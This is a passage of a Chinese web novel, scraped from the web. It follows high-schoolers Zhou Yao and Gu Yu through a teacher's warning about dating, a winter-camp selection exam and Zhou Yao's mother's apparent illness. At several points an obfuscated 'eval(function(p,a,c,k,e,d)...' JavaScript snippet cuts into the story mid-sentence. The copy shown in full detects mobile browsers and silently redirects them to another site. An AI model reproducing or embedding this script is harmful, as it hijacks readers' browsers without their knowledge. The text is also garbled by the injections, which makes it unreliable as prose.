期中考试后,蒋煜他们尝到了学习的甜头,都收敛了不少,上课也有好好听讲,史芬如果真这么说,倒真是冤枉他们了。 但话是从顾彧嘴里说出来的,周窈便也不怀疑,只是顾彧的脸色看上去确实不太好,有些苍白,靠在扶手上总觉得摇摇欲坠。 她不由得将手伸向他:“没事就行,回家吧。” 而顾彧则对着眼前这只白净小手看了两秒,却没握住,直接上前虚揽着周窈的肩,将人往教室方向带。 周窈隐约觉得不对,但又不知道是哪里出了问题,她和顾彧太熟了,熟到对方一个眼神她就能读懂他在想什么。刚刚的顾彧,绝对是在躲闪,在回避。 可是他为什么要回避自己呢? 看着眼前正装作若无其事顾彧,周窈抿了抿唇,暗下决心。 “喂。” 顾彧闻声向她看来。 周窈垂眸,装作凶悍的样子:“我追你就追到这周哦。” 顾彧没想到她会说这个,闻言着实怔愣了一下,随即扁嘴“控诉”:“啊……我就知道你只是说说而已,你不是真的喜欢我。” 周窈:“难道不是你和蒋煜他们说的吗,一周就答应。” “你怎么知道?”顾彧惊讶。 周窈歪了下头:“蒋煜逢人就说。” 这大喇叭。 顾彧垂着眼,语气不大乐意:“那你也追久一点吧,我这么快答应岂不是很没面子。” 周窈又盯着他看了几秒。 这人到底真心还是在装模作样,她一眼就能分辨,于是也没给什么好脸色,扔下一句“我就是通知你一声”之后,背上书包出门去了。 顾彧见她突然就撂了脸色,也知道她是不高兴了,想追又觉得自己没什么立场,一时间僵在原地,只觉得嘴里苦涩得很。 活这么大,这还是他第一次领略到什么叫“为情所困”。 虽说多少有点为赋新词强说愁的矫情味,但他此时此刻,确确实实是进退两难。 …… 周窈回到家,家里果不其然又是空无一人,陈娟上晚班去了,家里冷冷清清,只有桌上的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可不是因为这个,又是因为什么呢? 周窈百思不得其解,但总不能把时间浪费在这上面上,于是想着明天干脆抓着顾彧问问他到底怎么回事,就继续做她的作业了。 然而没过一会,手机又震了起来,还是谭欣的消息。 【谭欣:哎呀我知道是为什么了!不知道谁把你和顾彧滑冰的照片发学校话题墙下面了!换言之,史芬知道你和顾彧早恋的事了!】 忽视了谭欣口中的“早恋”谣言,周窈恍然大悟。 原来是这么回事。 像是拼图缺的那一角终于被拼上了,她这才将一切串完整。 这个家伙平时看着精明,关键的时候就笨得要死。 匆忙回了句“谢谢”,周窈来不及多想,拿上钥匙夺门而出,向顾彧家方向跑去。 深秋的夜风刺骨,她连外套都没来记得披一件,就去敲顾彧家的门。也顾不得这人对声音敏感了,周窈疯狂敲门。 门开的那一瞬间,她就对顾彧说道:“学习和你,我都不会放弃的,所以顾彧,跟我交往吧。” 64. 草莓 门内的人并未能及时给到周窈回应,反倒是有些呆呆地站在那,好像愣住了。 周窈紧接着又说:“我大概知道史芬找你说什么了,我……” 话未说完,顾彧一伸手就将周窈拉进了屋,身后的门应声关上。 顾彧的手撑在她耳侧:“你听谁说的?史芬也找你了?” 他虽然没正面回答,但周窈已经知道了答案,突然间就有些生气。 “你为什么不跟我说?还是你……你不要喜欢我了?” 撑着门的手落在了周窈的头顶上,轻轻揉了揉。 “说什么胡话。” “那你怎么想的?” 顾彧垂眸望着她,语气轻得像是在哄小孩:“人生还很长,不要急于一时。” 周窈望着他的眼睛,没来由的心里很慌。 或许对别人来说,“人生还长”代表着一种宽慰,一种希望,但对于周窈来说,这一眼望不到的人生,每一天都极其难熬,若是谁跟她说“你的人生还很长”,她怕是会觉得这人是在咒她。 但说这话的人是顾彧。 如果说她曾觉得自己贫乏的人生里有什么东西是她能抓得住的,那就只有顾彧。但现在顾彧却对她说这样的话…… 周窈的语气陡然尖利了起来:“你是怕我耽误你考状元?” 顾彧愣了一下,全然没想到周窈会这样回他:“没有,我怕耽误你高考,荣子涵期中成绩下滑这么多你也看到了……” 话未说话就被打断。 “我又不是她。” 周窈抬眼看他,眼神倔强:“学习和喜欢你都是我的事,用不着你这么自作主张。” 顾彧完全没想到周窈会是这个反应,顿时慌了起来,他伸手去拉周窈,却被她一把甩开,眼见着周窈转身要走,他手臂一撑,将人禁锢在门后的夹角。 “周条条!你能不能听我把话说完!” 周窈扭过头去不看他,但多少也冷静了一些。 顾彧深吸一口气:“高考之后,行不行?” 周窈闻言转身就走:“还想我追你追到高考?美得你。” “哎哎!” 顾彧又拉住她。 周窈抬眼朝他一瞥,男生刚才还紧绷着的肩膀突然就松了下来,像是终于肯妥协了:“只要你考上了冬令营。” 周窈脸色这才稍稍缓过来一些,她伸手在顾彧手臂上拧了一下:“顾狐狸我没发现你竟然是个胆小鬼!”说完,开门走了。 顾彧站在门后,低头看了一眼手臂上被拧出来的红痕,一边听着楼道里周窈的脚步声渐渐远去,委屈巴巴地自言自语:“我还不是为了你。” / 史芬盯着顾彧和周窈快一周了,原以为像周窈这种脾气倔的,在得知自己找过顾彧之后,肯定会闹上一场,甚至“顶风作案”,但意外的都没有,这两人还是和往常一样,一前一后来学校,下课凑在一起讨论题目,放学再一起回家。 毕竟两人就住隔壁,而且也没什么越界行为,掐着两人有早恋苗头让他们老死不相往来自然也是不现实的。 更何况,周窈的成绩是肉眼可见地在提升中,即便是和她不怎么对付的数学章,最近也偷摸在办公室里嘀咕,周窈最近数学成绩提升很快,还暗暗打听她是不是在外面另外报了补习班。 史芬自认也不是什么“老封建”,自己读书的时候也曾暗恋过帅气的学长,对学生们这种春心萌动的行为也完全能理解,但不是每个人都有自控能力的,为了对学生们的前程负责,该掐还得掐,比如荣子涵,最近成绩不是又提升回去了嘛。 正想着,就听到几声敲门声。 周窈拿着一张纸进来。 “史老师。” 史芬坐直身子:“什么事?” 周窈将手里那张纸递了过来,史芬接过一看,是宁市冬令营的选拔报名通知。 “通知上面说,要填报名表,我不知道这个表要去哪里领……” 话还没说完,史芬就拉开了手边的抽屉,从里面抽出一张报名表出来:“这事是王老师负责,听说你最近数学成绩提高很多,就帮你争取了这个名额。我们学校一共也就二十个名额,你要好好考。” 周窈接过报名表,心里十分惊讶。 王老师,也就是灭绝师太本人,前不久周窈还跟人家吵过架,就在这间办公室里…… 这样想着,突然就愧疚了起来。 还有史芬,纵然这事可能最终拍板的是灭绝,但周窈能肯定,是史芬帮自己去跟灭绝提的,不然灭绝怎么知道她想要去冬令营? 捏着手里的报名表,周窈多少有些感慨。 原来自己的世界里,也还是有能温暖她的瞬间的,也是遇到过一些幸运的。 “好了好了,赶紧把表填一填给我,老捏着做什么呢。” 周窈猛地回神:“哦哦,好,我马上填。” 填完报名表,周窈心里终于了结了一桩事,顿时轻松了不少,回到教室,就看见蒋煜他们围在一起聊天。 “我去,你要当飞行员啊?” 刚进门,周窈就听见这一句,随即就看见顾彧点了点头。 “嗯,想当飞行员。” 脚步顿了一下,这还是周窈第一次听顾彧和别人提起相当飞行员的事,事实上就连她都不知道原来顾彧早已将此定为目标。 “牛啊!当飞行员也太酷了!诶,我也想当!” “得了吧。”代薇子当头一盆冷水浇下:“航大报考分数很高的好吗?” “啊……”蒋煜一脸沮丧,“那我现在努力还来不来得及啊。” 代薇子冷哼一声:“现在知道什么叫少壮不努力老大徒伤悲了吧,你问问顾彧是从什么时候开始努力的?” 顾彧:“我不怎么努力。” 代薇子:“……当我没说。”说完她抬头,朝向门口方向:“喏,真正努力的人来了。” 周窈刚回到座位上,顾彧就问她:“跟史老师说了?” 周窈点点头,脸上是压不住的笑意:“报名表已经填好了,应该是史芬跟灭绝帮我争取的名额。” “嚯!”蒋煜一脸惊讶:“灭绝还有做人事的时候啊?” 代薇子敲敲桌子反驳他:“哎哎哎,人家灭绝根本不认识你好吧,哪来的这么大恶意啊。” 蒋煜摇头晃脑:“这你就不懂了吧,这叫做对一班生理性的厌恶!一中不允许这种特权班级存在!” “神经。” 边上,顾彧将手里刚写完的稿纸推向周窈:“这题我解出来了,两种解题思路,不过第二种更便捷一些……” 周窈凑过去听讲,心里却暖洋洋的。 真好,他们都有了前进的方向。 …… 晚上周窈回家,有些意外地在家里看见了许久未见的陈娟。 她这两周接的都是全天看护的活,偶尔会抽空回家换身衣服洗个澡,但大部分时间都在医院,跟住在医院没什么区别。 周窈进门的时候,陈娟正在厨房洗一篮草莓。 这倒是稀奇,印象里她们家从没有过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周窈摇头:“今天的还没做,跟你一起效率高点。” 顾彧搬了把椅子放在自己边上,两个人就这么手臂挨着手臂,在书桌前做起作业来了。 “这题要用到复合函数求导法则,利用y和u的导数关系……” 周窈一边吃一边伸手去筐里拿草莓,摸了半天没摸到,才发现草莓不知不觉间都被自己吃完了,现在筐子里就还剩下一个了。 她眼疾手快,趁顾彧讲题的时候把这最后一个草莓塞进他嘴里。 “给你尝尝味。” 顾彧眉头一挑,突生几分恶趣味,他将手里的笔一丢,靠近周窈:“尝味不是这么尝的。” 周窈疑惑:“那怎么尝?就这一个了,再多也没有了。” 顾彧嘴角一扬,继续靠近。 看着这张帅气的脸在自己眼前逐渐放大,周窈这才反应过来,她一把捂住顾彧的嘴。 顾彧垂眸看去,周窈脸一扬,一脸正气:“考上冬令营之前,不可以。” 刚刚生出来的那几分色气,突然就泄了。 顾彧一脸溃败地转过身去,虽然他也没有要做什么,无非就是想逗逗她罢了,但周窈拒绝的这个理由,倒像是他搬起石头砸自己脚了。 “啵。” 轻柔的触感在脸颊上生成,随即一股草莓独有的清甜气息在身侧蔓延开来。 顾彧有些惊讶地回头,明亮灯光下,小姑娘的眸子像两颗璀璨的星星,有些羞怯地望着他,视线交汇后,又很快挪开。 像是不习惯自己也会出现这样的一面,周窈很快遮掩了自己的羞涩:“就,就当做你给我讲题的报酬……” 顾彧摸摸脸颊,小姑娘唇齿间的草莓味让他上瘾,于是他越凑越近…… “我给你讲的题可不止一道。” 看着眼前人眼眸逐渐幽深,周窈心中懊悔。 原来这死狐狸这么不经撩的? 65. 考试 眼看着气氛越来越暧昧,周窈眼睛一瞟:“咦,你的飞机怎么少了一架?”说完飞快起身来到玻璃柜前,原本整整齐齐排成三排的飞机模型,中间靠右的位置突然空了一块,上次来看的时候还是有的。 顾彧扑了个空本就心生挫败,一听周窈提起自己那架现在已经在宁市某个家庭的某个桌子上放着的J5D,就跟郁闷了。 他托着腮斜靠在书桌上,浑身上下散发着一种抗拒。 “嗯,送人了。” “送人了?”周窈有些惊讶。 男生的房间多少有些乱,顾彧也是如此,不常收拾不擅归纳,不算脏乱差吧,但和“整洁”二字绝对没什么关系,但唯独这个玻璃柜和柜子里陈列的这些模型,都被擦得一尘不染,柜面亮得一个指印都看不到。 肉眼可见,他有多宝贝这些模型,竟然肯送人? “那个人应该和你关系很好吧?” 顾彧反应了两秒,才明白过来周窈说的是范兴阳,于是敷衍地回道:“我跟他关系一般,但谁让那老头在他手上呢……” 周窈没听清:“嗯?谁?” 顾彧伸了个懒腰,伸手将周窈拽到自己身边:“没谁。你帮我量量身高吧。” 周窈瞬间明白过来:“你真的要招飞?” “嗯。”顾彧点点头。 周窈有些意外:“我上次不过是随口一提……” “但是我觉得挺好的,比起收集这些模型,如果真的能去开这些飞机……”顾彧话未说尽,但眉眼间已经有了一层憧憬意味。 周窈没想到自己随后一句话,他竟然真的上心了,顿时心软成一片,她捏了捏顾彧的手指,小声问:“你家有卷尺吗?” 卷尺自然是有的,上次何茜华为了换煤气管道才刚用过。 周窈寻了一面白墙,让顾彧贴墙站好。 “嗯……184.8……别动!站好!等我再量一下……你头发太高了……别偷偷屈腿……头摆正……” “好了没啊……” “好了好了,185.2……算了我再量一次好了……” 好一顿折腾,最后周窈干脆取了个平均值:“184.9,这卷尺多少有点不准,但你真的不能再长高了,超出185你只能去开客机了,超过188你连民航都进不去了……” 顾彧无言沉默了一瞬:“可是我年初刚长了一厘米……” 这会变成周窈无语了:“那你要不把腿打折吧。” 顾彧扁嘴:“我残废了周条条还会要我吗?” “要的,起码你脸还是好看的。” “你果然只爱我的外表。” “不然爱你不洗袜子吗?” 顾彧眼疾手快将搭在沙发扶手上的换下来的袜子丢到洗衣篮里,表情有一丝丝的尴尬,但依旧倔强地解释:“漏洗了而已。” 周窈瞥了一眼墙上的钟:“反正也不是我洗,我要回去了,我妈自己在家,太晚回去不好。” 顾彧把她送到门口,甚至还要送她到家门口。 周窈拒绝:“就在隔壁,送什么送。”说着,她收拾了东西就要出门。 刚穿好鞋,顾彧一把拉住她:“哎,我前几天看见你妈,她脸色看上去不是很好……” “太累了吧。”说起陈娟,周窈又有些心疼,最近每次看见她,都觉得她好像更憔悴了一些,更苍老了一些。 “带你妈去做个检查?我总觉得她不像是单纯的疲劳导致的。” “跟她说过,但她每次都一只耳朵进一只耳朵出……”突然想起陈娟腿上的淤青:“我妈腿上好多淤青,一直没好,会不会有什么问题啊?” 顾彧略一思索:“小腿浮肿吗?” 周窈仔细回想:“有一点。” 顾彧心里有所猜测但也不好乱说,只让周窈再劝劝陈娟去体检。 周窈闻言多少有些慌,顾彧拉着她的手捏了捏:“别担心,可能只是太疲劳了。” “嗯。那我走了。” “看着点路,门口的路灯又坏了。” 周窈应了一声推门出去,走出一楼大门刚想打开手机照亮,身后突然灯光乍起,明亮的光线瞬间将她脚下的路照得一清二楚。 她惊诧回头,就见顾彧家的厨房亮着灯,而顾彧就站在窗口看着她。 周窈朝他挥了挥手,转过身的瞬间,眼眶却热了。她狠狠吸了下鼻子,才没让眼泪掉下来。 她才知道,原来自己也会被人珍视,被人爱护的。 / 之后的每一天,周窈除了帮李铭轩补课,刷“陈敏学”系列,还要抽空让顾彧给她讲题,连吃饭的时间都靠挤的,睡觉时间更是压缩到每天六小时——十二点睡,六点起。 本来她觉得凌晨一点睡也没什么,但顾彧告诉她,熬夜不长个。当然,他也喜提一个来自周窈的大比兜。 进入了十二月,天气渐渐冷了起来。 陈娟依旧每日往返于家里和医院,有时忙起来周窈一周都见不到她人,关于检查身体的建议,陈娟自然也是没有采纳的,周窈只能从自己的小金库里抽出一点钱来,给陈娟买了几瓶维生素、鱼油之类的保健品,陈娟虽然怪她乱花钱,但保健品倒是一顿不落地吃着,这让周窈多少放了点心。 很快,冬令营的选拔考试通知也出来了,周窈看着“考试地点:宁市中学”几个字,到底还是犯了难。 “怎么了?”顾彧凑过来看了一眼:“要去宁市考啊?我还以为会在线上考呢。到时候问问史老师,是不是学校统一组织过去。” “我问过了,说是不组织,自己去,学校批假。” 闻言,顾彧又看了下具体的考试时间:“要考一整天啊,下午考到五点半,估计赶不上回舟市的大巴了,你得在宁市住两晚了。”说着,他就掏出手机,定位宁市中学开始找酒店。 宁中也在宁市靠市中心的位置,附近酒店都不便宜,快捷酒店都要四百起,住两晚就将近一千了。 周窈看他在搜酒店,便问:“你也要去吗?” 顾彧手一顿,眼神玩味:“想我陪你?” 原本周窈并没有这个想法,但顾彧这一提起,她倒也有几分期待,毕竟宁市人生地不熟,顾彧在身边她也更安心一些。 可谁知顾彧话锋一转:“我也很想给周老师陪考,可是不巧,那个周末我妈要来。” “哦……”声音瞬间低了下去,但在意识到顾彧是在替自己订酒店后又高了起来:“我自己会订酒店,你别……” “真的?”顾彧挑着眉毛看她,一脸的不信任:“你确定你不会找个24小时营业的麦当劳待一晚上?” 周窈缩缩脖子,见鬼了,还真让他猜到了。 “呵。”顾彧将她的反应看在眼里,冷哼了两声:“你也知道这次考试很重要,休息好才能考得好。何况,给救命恩人订个酒店也没什么。” 周窈捂住耳朵趴在桌上:“你可别提那四个字了。” 顾彧见她可爱,拎着她的马尾辫晃了晃,随即凑到她耳畔低声道:“恩公要我以身相许也可以哦。”然后听周窈红着脸瓮声瓮气地说了一句“等我考上冬令营”,笑出了声来。 一切看似都安排好了,但周窈知道,她还有一道大关卡没过,要去宁市两天这件事,她还没跟陈娟说。 这天放学,她特地往陈娟工作的医院跑了一趟。 陈娟这周也没怎么回家,即便回家了周窈也在上课,母女两总是见不到面。 到了住院部,周窈没在病房里找到她妈,熟识的小护士给她指了个方向:“你妈妈去卫生间了。” 周窈道谢之后就往卫生间跑。 刚到门口就听到一阵呕吐声,不似普通人吃坏了东西,这吐得像是要把五脏六腑都吐出来似的。 周窈一间隔间一间隔间看过去,只有一间锁着门。 她试探地叫了一声:“妈妈? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740961|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 呕吐声变小了。 于是她又叫了一声:“妈?你在里面吗?” 许久,陈娟哑着嗓子回了一句:“在,你怎么来了?” 随即抽水声响起,陈娟扶着墙出来,周窈见她走路都不稳,连忙上去搀扶。 “你怎么吐得这么厉害啊?还是去做个检查吧,你每天都在医院里,一两个小时抽不出来吗?” 陈娟没理她,推开她的手自己凑到水池边漱口。 周窈看向水池,陈娟吐出来的漱口水里,似乎掺杂着一些血丝…… “你吐血了?” “瞎说什么,咒你妈呢?”陈娟撑着手臂从镜子里看她。 “那水池里红红的是什么?” “我中午吃了两个火龙果,可能烂了,下午胃一直不舒服,拉肚子也拉了好几次。” 周窈有些狐疑地望向陈娟,见她神色自然不像是说谎的样子,心这才稍稍定了下来。 “坏了的火龙果你也吃……” 陈娟高声道:“那我怎么知道,外面看着还挺好的,吃了一半发现烂芯了。”说罢,她又转过身来望向周窈:“你又来干嘛?缺钱了?我看你小金库里钱挺多的啊。” “不是。”想起接下来要跟陈娟说的话,周窈心里多少还有些发怵:“我下周末要去宁市两天……” 果不其然,陈娟脸色立马沉了下来:“去宁市干嘛?还一去去两天?” “去考试,考冬令营,如果考上,暑假还要去宁市两周。” 陈娟将手里的纸巾一团,直接砸向垃圾桶:“我就知道,你就是想跑。” “没有,我考完还要回来的,我得参加高考。” “高考?你高考不就是想跑?!当我不知道啊,你总觉得我和你爸拖累你,一天天总算计着怎么踹开我们……” 周窈无奈地扶额,这么多年了,她发现自己和陈娟是越来越说不到一起去了,不论她怎么解释,不论她怎么做,陈娟好像就认她认的那个死理,就仿佛她坚信周建民赚了钱一定会回来一样,她也坚信周窈肯定会抛下她独自远走高飞。 争论突然变得毫无意义,而周窈也有些累了。 于是她有些破罐破摔地说道:“算了吧,我就是告诉你一声,那两天顾彧和他妈都在家,我会拜托他们多照看你,如果你发病让他们及时送你去医院……” 不知是不是把顾彧和她妈搬出来奏了效,总之陈娟的态度突然发生了一百八十度的大转变。 “即便我不同意你也会偷偷去,人大了,都有自己的小金库了,哪里去不了。上次人家说在天一广场看见的你爸爸,你有时间就去那转转,没准还能碰上。小彧和他妈妈那边,你也不用打招呼,这两周我班都排满了,没空回家。” 简言之,也没空管你。 周窈转回头,看着在水池边低头洗手的陈娟,才发现几天不见,她好像又憔悴了很多,脸色也很暗沉,沉得发黄,鬓边的白头发又多了,应该是操劳导致的,皮肤也很干,整个人看起来像是没了精气神。 但其实她才四十出头。 前两天她看到代薇子她们在吃的小鲜肉被包的瓜里的那位五十多岁的富婆,看起来就像三十多,可是她妈妈四十出头看起来却和五六十没什么区别。 周窈的心一抽一抽的痛。 “你怎么还不走?还有事?” “没事了,就走了。” 陈娟甩甩手上的水往外走:“我回病房了,有事给我发消息不要打电话,这次伺候的这位老爷子睡觉也不踏实,有点响动就醒。” “知道了……” 周窈话还没说完,陈娟的声音就已经消失在了门口。 她急急追了出去,只看了一眼陈娟的背影,也不知道是为什么,但心里总觉得怅然,总觉得黎明之后并不是天亮,而是另一个黑夜。 她突然就很没信心,不知道自己有生之年,还能不能让陈娟过上好日子。 66. 坦诚 周五下午,周窈请了假后独自坐大巴抵达宁市,到酒店办了入住。 刚进房间,就收到顾彧的消息。周窈看了眼时间,这个点他们应该还在上课。 【顾^^彧:到了吗?】 【不是葛朗台是世界首富:刚到酒店,这酒店也太贵了,499一晚!】 【顾^^彧:你住就是了,我就当提前给女朋友花钱了。】 看着“女朋友”三个字,周窈不禁耳廓发热,一仰头直接躺倒在床上打了个滚。 【不是葛朗台是世界首富:少占我便宜!】 【顾^^彧:我占什么便宜了?明明是你自己主动的。】 周窈盯着这行字,想起那天在顾彧家里自己的行为,臊得干脆将头埋进了枕头里,现在想起来,她那天也不知道怎么了,突然就亲上去了,莫非真的是被顾彧的美貌蛊惑了? 【顾^^彧:你干嘛不回我?你还会不好意思吗周条条?】 忍无可忍的周窈一把抓起手机,狠狠打下几个字。 【不是葛朗台是世界首富:你这个狐狸精!】 【顾^^彧:休要胡说,我可是好人家的公子……】 “你跟谁发消息啊,笑得这么的……猥……灿烂。”边上蒋煜凑过来问。 顾彧将手机收进口袋:“没谁。我笑了吗?” “嗯啊。”蒋煜重重地点了点头,看向他的眼神还有些惊奇:“我还以为你在和阿周聊天呢。” 这会轮到顾彧惊讶了:“我和条,周窈聊天的时候什么样?” 蒋煜双手托在下巴上比了个开花姿势:“就会这样,笑得跟花似的。” 两人正说着,后排李铭轩拍拍顾彧的背,递过来一本习题册和一张稿纸:“小周老师说了,她不在的时候,让我有不懂的地方问你。” 蒋煜嘲笑他:“嚯,你难不成是他俩共同财产吗?还带继承的?” 李铭轩往桌上一趴:“随便他俩谁带我,我只求一定要把我带上本科线,我爸妈又放话了,考不上本科还是要送我出国,我的天啊……资本主义世界是给他们洗脑了吗?!我一点都不想出去吃白人饭啊谢谢!” 说到吃,蒋煜又来劲了:“哎,我们放学去撸串吧,学校后门对面新开了一家烤串店,巨巨巨巨好吃!去不去?” “行啊,我难得今天不补课。” “我不去了。”顾彧低头做题,一边婉拒:“我有事。” “阿周都不在你还能有什么事?” 顾彧停笔假笑:“接待我妈,算不算个事?” 放学后,顾彧独自一人骑车回家,身边少了周窈,周围的人事物仿佛都跟他再无关系,昨天周窈才跟他说过很可爱的卡通广告牌,今天再去看,仿佛连颜色都褪了一些。 真奇怪,明明周窈也不是聒噪的人,但她不在,世界都安静了,像是被谁调小了音量。 到家的时候何茜华正在四处检查管道和电器设备。 经过上次煤气泄漏事故后,她在这方面几乎产生了PTSD,听说原本海市的新家也不准备按燃气灶,想改用电磁灶,最后还是被顾彧他爸劝住了。 “回来啦?刚好,我汤也炖好了,今天还有雪菜烧小黄鱼,鲜得不得了,你去隔壁问下窈窈要不要过来一起吃……” “她去宁市了。”顾彧声音从房间里传来。 何茜华从厨房探出头来:“窈窈去宁市干嘛?” “考试,冬令营选拔。” “那你怎么不参加?” 顾彧换了衣服进厨房洗手:“我没兴趣。” 何茜华瞟了他一眼,小声念叨:“也不知道你到底对什么感兴趣。” 流水声戛然而止。 顾彧抽了纸巾擦手,何茜华顺势将刚盛好的汤递给他。 “端出去,小心烫。” 顾彧照做,然后又回到了厨房门口喊了一声:“妈。” “嗯?怎么了?” “我想参加招飞。” 何茜华盛菜的动作突然慢了下来,她转过头望着顾彧,有些不确定地反问:“你想好了?” “嗯。”顾彧点点头。 何茜华思索了两秒,然后端着出来:“先吃饭。” 晚上,顾彧吃完了饭在自己房间里做作业看书,何茜华收拾完家务便走了进来,一眼就看见他柜子里的模型,中间的位置突然空了一块。 “怎么少了一架?” 顾彧回头:“送人了。” 何茜华意外地笑了笑:“难得啊,你竟然肯送人,不是最宝贝这些的吗?” 顾彧嗯了一声:“但也有比它更贵重的东西吧。” 何茜华没有继续这个话题,她拖了一把椅子过来,在顾彧身边坐下。 “招飞这个事,已经想好了?” “嗯,想好了。”顾彧停笔,回答得很郑重:“但是,也不一定能成,飞行员有身高限制,我现在已经几乎踩线了。” “那也没关系。”何茜华笑得欣慰:“只要是你想做的,我和你爸都会支持你,能成为一名飞行员是很光荣的事,如果不成也没事,这是你第一次有了坚定的人生目标,这最重要。” “但是。”她话锋一转:“招飞和转学去海市不冲突,上次你说要给你点时间考虑,现在考虑得怎么样了?” 闻言,顾彧低下了头,嘴角挂着一丝无奈:“我的答案你肯定不想知道。” 何茜华瞬间了然:“还是不想去?” 顾彧没回答,但她已然知道了答案。母子两无声地沉默了一瞬后,何茜华突然说道:“你们史老师跟我说你有早恋倾向,说已经找你谈过话了,而且你处理得也挺好。” 闻言,顾彧心中一怔,抬头望向自己的母亲。 何茜华看着他,叹了口气后问:“是和窈窈吧?” 顾彧很想否认,但显然他母亲早已洞察了一切。 “除了窈窈也没有别人了,为了谈恋爱所以不想去海市?” “不是。”顾彧否认。“我只是没有要去海市的理由,如果你们不放心我自己在这里生活,我可以每天按三餐给你们打电话报平安,而且我目前也没有和周窈在一起,我们都知道高考的重要性,你不用担心。” “这我当然知道,即便你浑浑噩噩一些,窈窈也是清醒的,而且早恋……我也觉得不是什么坏事,青春就这么短短几年,年少的喜爱,这些回忆,都是很宝贵的,我也没有要阻止你们的意思。” “但是小彧,妈妈还是要提醒你一句,年少的感情可能在你们看来是轰轰烈烈的,非彼此不可,但是也经不起什么考验,这个我想你在学校也见多了。” “所以我还是希望你,不要顾此失彼,不要为了一点感情耽误了自己。当然,也不要轻易地将自己的未来许给对方,或者轻易地许诺给对方未来。” “这不是要你们放弃感情或者质疑你们的感情,而是希望你们在还不成熟的年纪,懂得对彼此负责。” “不过,我知道你一定会处理好的,对不对,就像史老师跟我说的那样。” 许久,顾彧才低低地“嗯”了一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那倒不是。”对面传来一阵翻书声:“我有题目要问你,已知X……” “周条条……”顾彧无奈扶额。 “啊?怎么了?” “你的‘陈敏学’已经被我们从头到尾翻过起码三遍了。” “那怎么了?”周窈不解。 “所以你现在就别看了,早点睡觉,养精蓄锐,明天好好发挥,好不好?” “哦……”对面的少女拖着长音,听起来不太想立马去睡觉。 顾彧敏锐地觉察到了她的心思:“是不是紧张?睡不着?” 周窈拨弄着手里的笔,点了点头,随即想起顾彧看不到,于是又补了一声:“嗯,如果你一起来就好了。” 顾彧轻笑:“现在想起我的好了啊。” 周窈小声嘟囔:“我又没说过你坏。” 顾彧:“下午还说我是狐狸精坏你道行。” “我没说后面那几个字!” “好,你没说,是我添油加醋了。”顾彧安抚她,随即抬头看了一眼时间:“你快点去睡,要真的睡不着的话,我就不挂电话了。” “没关系,你挂吧。”电话那头,周窈合上了她的“陈敏学”,转身爬上了床:“我听过你的声音已经好多了,不怎么紧张了,万一通着电话手机没电,明天早上听不到闹钟才要完蛋。” “好,那我挂了,有事给我打电话。” “嗯嗯,拜拜。” 挂了电话,周窈起身将酒店的窗帘拉开,就这么躺在床上看着宁市的天空。 其实和舟市也没什么不同,一样都看不到什么星星,道路上车流的声音也都差不多,街道两旁开着的店也没什么差别,沙县、兰州拉面、黄焖鸡。 但她就是觉得陌生,并且无所适从。 这让原本一心想着要逃出家,离开舟市的周窈,感到迷茫,有一种未来不知该去哪的空虚感。 67. 父亲 第二天一早,周窈早早起床,去楼下吃了早饭之后按往常一样回房间背了会英语,然后提前半小时前往宁中。 即便和顾彧打了电话,昨天晚上她依旧没怎么睡好,或是因为紧张,又或许是因为认床。但她现在倒也不觉得困,甚至隐隐有些亢奋,但保险起见,她还是在半路上买了一杯咖啡——一向节省的葛朗台·周也奢侈了一把。 同样是市重点,宁中的校舍就比一中气派很多,场地又大,校舍又新,道路两边种着两排梧桐,正值深秋,满地都是枯黄落叶,踩上去“咔咔”作响,浪漫极了,即使是被代薇子盖章“没有浪漫细胞”的周窈,也没忍住掏出手机拍了几张照。 到了教学楼下,周窈就被眼前的景象惊呆了。 虽说只是个冬令营,但报考的人还不少,目光所及之处满满当当都是等待开考的学生,三五成群凑在一起,应该是从各个学校过来的。 周窈独自一人站在那,心里没来由的有些发慌。 “周窈?” 周窈有些惊讶地回头,看见一张熟悉的面孔。 “曹……”尴尬,竟然忘了对方的名字。 “曹阔。”对方轻轻笑了下,丝毫没有因为周窈忘了自己的名字而感到生气。 “你也来考冬令营吗?” “嗯。”周窈点点头,但环顾四周之后,眉头又皱了起来:“但是人那么多……” “这次除了宁中和我们一中,还有其他十几所学校的学生,这本来也是由宁中牵头,主要针对宁舟两市学生的培优计划,想来的人肯定很多,我们学校的二十个名额,相比之下已经算多了。” 周窈不禁有些灰心:“那看来我机会渺茫了。” “不会的。”曹阔笑着安慰她:“我听说这段时间顾彧一直在帮你补习,还有‘陈敏学’系列,你都做了吗?” 周窈意外连他都知道顾彧帮自己补习的事,但还是回答道:“做是做了……” “那就行了。顾彧的水平我还是领略过的,而且你那么用功,肯定可以的。” “谢谢,希望你也能有好成绩。” 曹阔丝毫没跟她客气,脸上满是自信的笑意:“我一定会的,到时候就冬令营见了,难得你要跟顾彧分开两周,我一定会好好把握机会的。” “呃……”周窈一时间也分不出他到底是认真的还是开玩笑。 曹阔笑道:“开玩笑的,时间差不多了,先进考场吧。” 周窈看了眼时间,拿上自己的东西跟着曹阔一起进了考场。 经过一整天的考试,离开宁中大门已经将近下午六点了,走之前还特地找曹阔对了答案,发现自己最拿不准的大题也做对了之后,周窈终于放下心来,一边往酒店走一边给顾彧发消息。 【不是葛朗台是世界首富:已经考完了![开心]现在回酒店。】 【顾^^彧:晚上准备吃什么?】 